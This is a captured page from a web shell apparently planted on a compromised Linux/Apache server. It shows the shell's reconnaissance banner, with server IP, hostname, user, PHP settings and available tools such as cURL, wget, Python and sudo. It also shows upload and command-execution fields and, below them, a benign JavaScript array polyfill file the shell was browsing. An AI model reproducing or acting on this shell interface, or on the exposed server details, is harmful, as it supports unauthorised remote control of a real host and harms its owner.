403Webshell
Server IP : 34.87.99.72  /  Your IP : 216.73.217.31
Web Server : Apache/2.4.46 (Unix) OpenSSL/1.1.1n
System : Linux zlock-bitnami-lamp-prod-v2-vm 4.19.0-16-cloud-amd64 #1 SMP Debian 4.19.181-1 (2021-03-19) x86_64
User : bitnami ( 1000)
PHP Version : 7.4.18
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /opt/bitnami/nami/node_modules/prime/es5/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/bitnami/nami/node_modules/prime/es5/array.js
/*
array
 - es5 array shell
*/"use strict"

var shell = require("../util/shell")

var proto = Array.prototype

var array = shell({

	filter: proto.filter/*(es5 && array.filter)?*/ || function(fn, context){
		var results = []
		for (var i = 0, l = this.length >>> 0; i < l; i++) if (i in this){
			var value = this[i]
			if (fn.call(context, value, i, this)) results.push(value)
		}
		return results
	}/*:*/,

	indexOf: proto.indexOf/*(es5 && array.indexOf)?*/ || function(item, from){
		for (var l = this.length >>> 0, i = (from < 0) ? Math.max(0, l + from) : from || 0; i < l; i++){
			if ((i in this) && this[i] === item) return i
		}
		return -1
	}/*:*/,

	map: proto.map/*(es5 && array.map)?*/ || function(fn, context){
		var length = this.length >>> 0, results = Array(length)
		for (var i = 0, l = length; i < l; i++){
			if (i in this) results[i] = fn.call(context, this[i], i, this)
		}
		return results
	}/*:*/,

	forEach: proto.forEach/*(es5 && array.forEach)?*/ || function(fn, context){
		for (var i = 0, l = this.length >>> 0; i < l; i++){
			if (i in this) fn.call(context, this[i], i, this)
		}
	}/*:*/,

	every: proto.every/*(es5 && array.every)?*/ || function(fn, context){
		for (var i = 0, l = this.length >>> 0; i < l; i++){
			if ((i in this) && !fn.call(context, this[i], i, this)) return false
		}
		return true
	}/*:*/,

	some: proto.some/*(es5 && array.some)?*/ || function(fn, context){
		for (var i = 0, l = this.length >>> 0; i < l; i++){
			if ((i in this) && fn.call(context, this[i], i, this)) return true
		}
		return false
	}/*:*/

})

array.isArray = Array.isArray/*(es5 && array.isArray)?*/ || function(self){
	return Object.prototype.toString.call(self) === "[object Array]"
}/*:*/

var methods = {}
var names = "pop,push,reverse,shift,sort,splice,unshift,concat,join,slice,lastIndexOf,reduce,reduceRight".split(",")
for (var i = 0, name, method; name = names[i++];) if ((method = proto[name])) methods[name] = method
array.implement(methods)

module.exports = array

Youez - 2016 - github.com/yon3zu
LinuXploit